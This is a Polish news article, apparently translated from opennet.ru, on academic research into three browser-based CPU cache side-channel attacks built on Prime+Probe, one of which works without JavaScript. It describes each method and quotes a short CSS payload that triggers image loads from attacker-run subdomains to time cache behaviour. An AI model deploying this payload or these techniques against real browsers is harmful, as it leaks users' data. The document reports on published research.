Atak polegający na ekstrakcji pamięci podręcznej procesora realizowany w przeglądarce internetowej bez JavaScript

Zespół badaczy z kilku uniwersytetów amerykańskich, izraelskich i australijskich opracował trzy ataki przeprowadzane na przeglądarki internetowe w celu wydobycia informacji o zawartości pamięci podręcznej procesora. Jedna metoda działa w przeglądarkach bez JavaScript, a dwie pozostałe omijają istniejące metody ochrony przed atakami z kanału bocznego, w tym te stosowane w przeglądarce Tor i DeterFox. Kod demonstrujący ataki, a także komponenty serwera niezbędne do ataków są publikowane w serwisie GitHub.

Aby przeanalizować zawartość pamięci podręcznej, wszystkie ataki wykorzystują metodę Prime+Probe, która polega na wypełnieniu pamięci podręcznej standardowym zestawem wartości i wykryciu zmian poprzez pomiar czasu dostępu do nich podczas ich uzupełniania. Aby ominąć mechanizmy bezpieczeństwa występujące w przeglądarkach, które zakłócają dokładny pomiar czasu, w dwóch wersjach następuje odwołanie do kontrolowanego przez atakującego serwera DNS lub WebSocket, który prowadzi rejestr czasu otrzymanych żądań. W jednym wykonaniu jako odniesienie czasowe stosuje się stały czas odpowiedzi DNS.

Pomiary wykonane przy użyciu zewnętrznych serwerów DNS lub WebSocket, przy użyciu systemu klasyfikacji opartego na uczeniu maszynowym, wystarczyły do ​​przewidzenia wartości z dokładnością do 98% w najbardziej optymalnym scenariuszu (średnia 80-90%). Metody ataku zostały przetestowane na różnych platformach sprzętowych (Intel, AMD Ryzen, Apple M1, Samsung Exynos) i okazały się uniwersalne.

Atak polegający na ekstrakcji pamięci podręcznej procesora realizowany w przeglądarce internetowej bez JavaScript

Pierwszy wariant ataku DNS Racing wykorzystuje klasyczną implementację metody Prime+Probe z wykorzystaniem tablic JavaScript. Różnice sprowadzają się do zastosowania zewnętrznego timera opartego na DNS oraz obsługi onerroru, która uruchamia się przy próbie załadowania obrazu z nieistniejącej domeny. Zewnętrzny timer pozwala na atak Prime+Probe na przeglądarki, który ogranicza lub całkowicie wyłącza dostęp do timerów JavaScript.

Dla serwera DNS znajdującego się w tej samej sieci Ethernet dokładność timera szacuje się na około 2 ms, co wystarcza do przeprowadzenia ataku side-channel (dla porównania dokładność standardowego timera JavaScript w przeglądarce Tor wynosi zmniejszony do 100 ms). W przypadku ataku nie jest wymagana kontrola nad serwerem DNS, ponieważ czas wykonania operacji jest tak dobrany, aby czas odpowiedzi z DNS służył jako oznaka wcześniejszego zakończenia sprawdzania (w zależności od tego, czy została uruchomiona obsługa onerroru) wcześniej czy później wyciąga się wniosek na temat szybkości operacji sprawdzania pamięci podręcznej).

Druga metoda ataku, „String and Sock”, ma na celu ominięcie technik bezpieczeństwa, które ograniczają niskopoziomowe wykorzystanie tablic w JavaScript. Zamiast tablic String i Sock wykorzystują operacje na bardzo dużych ciągach, których rozmiar dobiera się tak, aby zmienna obejmowała całą pamięć podręczną LLC (cache ostatniego poziomu). Następnie za pomocą funkcji IndexOf() przeszukiwany jest w ciągu znaków niewielki podciąg, którego początkowo nie ma w ciągu źródłowym, tj. operacja wyszukiwania powoduje iterację po całym ciągu. Ponieważ rozmiar linii odpowiada rozmiarowi pamięci podręcznej LLC, skanowanie umożliwia wykonanie operacji sprawdzania pamięci podręcznej bez manipulowania tablicami. Aby zmierzyć opóźnienia, zamiast DNS wykonywane jest wywołanie do kontrolowanego przez atakującego serwera WebSocket - przed i po zakończeniu operacji wyszukiwania w linii wysyłane są zapytania, na podstawie których serwer wylicza opóźnienie wykorzystywane do analizy pamięci podręcznej zawartość.

Trzeci wariant ataku „CSS PP0” jest realizowany poprzez HTML i CSS i może działać w przeglądarkach z wyłączoną obsługą JavaScript. Metoda jest podobna do „String and Sock”, ale nie jest powiązana z JavaScriptem. Podczas ataku generowany jest zestaw selektorów CSS, które przeszukują maskę. Początkowy duży ciąg znaków wypełniający pamięć podręczną jest ustawiany poprzez utworzenie znacznika div z bardzo dużą nazwą klasy. Wewnątrz znajduje się zestaw innych elementów div z własnymi identyfikatorami. Każdy z tych zagnieżdżonych elementów div ma swój własny styl z selektorem wyszukującym podciąg. Podczas renderowania strony przeglądarka najpierw próbuje przetworzyć wewnętrzne elementy div, co skutkuje operacją wyszukiwania w dużym wierszu. Wyszukiwanie odbywa się z wykorzystaniem celowo brakującej maski i prowadzi do iteracji po całej linii, po czym uruchamiany jest warunek „nie” i podejmowana jest próba wczytania obrazu tła odnoszącego się do losowych domen: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomeny są obsługiwane przez serwer DNS atakującego, który może mierzyć opóźnienia w otrzymywaniu żądań. Serwer DNS wystawia NXDOMAIN dla wszystkich żądań i prowadzi dziennik dokładnego czasu żądań. W wyniku przetworzenia zestawu elementów div serwer DNS atakującego otrzymuje serię żądań, których opóźnienia korelują z wynikiem sprawdzenia zawartości pamięci podręcznej.

Atak polegający na ekstrakcji pamięci podręcznej procesora realizowany w przeglądarce internetowej bez JavaScript


Źródło: opennet.ru

Dodaj komentarz